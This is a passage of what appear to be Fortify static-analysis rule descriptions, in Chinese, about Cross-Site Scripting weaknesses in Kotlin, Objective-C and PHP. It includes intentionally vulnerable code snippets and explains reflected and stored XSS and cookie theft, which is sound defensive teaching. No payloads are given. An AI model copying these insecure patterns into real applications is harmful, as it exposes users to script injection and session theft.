傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。



如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。



Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (JavaScript 預設為停用),並根據從 Android 用意接收的值載入頁面。


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(URLEncoder.encode(url))
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。


有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Spring MVC)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_poor_validation
Abstract
這個方法使用的是 HTML、XML 和其他類型的編碼,但通常不足以防止惡意程式碼存取網頁瀏覽器。
Explanation
使用特定編碼建構 (例如 ESAPI 或 AntiXSS) 可防止部分,但不是所有 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、&和",以及以 XML 編碼的 <、>、&、"和'以外的字元,可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使已套用編碼,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Reflected XSS 案例中,不可信賴的來源通常為使用者元件、URL 架構處理常式或通知,而在 Persistent XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個 UIWebView 元件。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

以下範例突顯了可利用的 XSS 實例,其使用編碼 API 進行編碼:

範例 1:以下 Objective-C 程式碼片段會讀取自訂 URL 架構的文字部份,其會被傳送至應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
...
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSString *htmlPage = [NSString stringWithFormat: @"%@/%@/%@", @"...<input type=text onclick=\"callFunction('",
[DefaultEncoder encodeForHTML:partAfterSlashSlash],
@"')\" />"];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:htmlPage baseURL:nil];
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以較不危險,是因為 name 的值是從資料庫中讀取的,且為 HTML 編碼。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。攻擊者支援的攻擊可能會略過編碼字元或將輸入置於不受 HTML 編碼影響的環境中。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從自訂 URL 架構讀取資料,並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼函數 (例如htmlspecialchars()htmlentities()) 可防止部分,但不是所有 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、&和",以及以 XML 編碼的 <、>、&、"和' (僅限在設定ENT_QUOTES時) 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,並以 Cross-Site Scripting 來加以顯示,Fortify Secure Coding Rulepacks 還是會報告 Cross-Site Scripting 發現:Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的程式碼片段會從 HTTP 要求中讀取 text 參數,使用 HTML 加以編碼並將該參數顯示在 Script 標籤之間的警示方塊中。


<?php
$var=$_GET['text'];
...
$var2=htmlspecialchars($var);
echo "<script>alert('$var2')</script>";
?>


如果 text 只包含標準英數字元,則這個範例中的程式碼會正確地執行。若 text 具有單引號、小括號及分號,則會結束 alert 文字方塊,並在此後執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
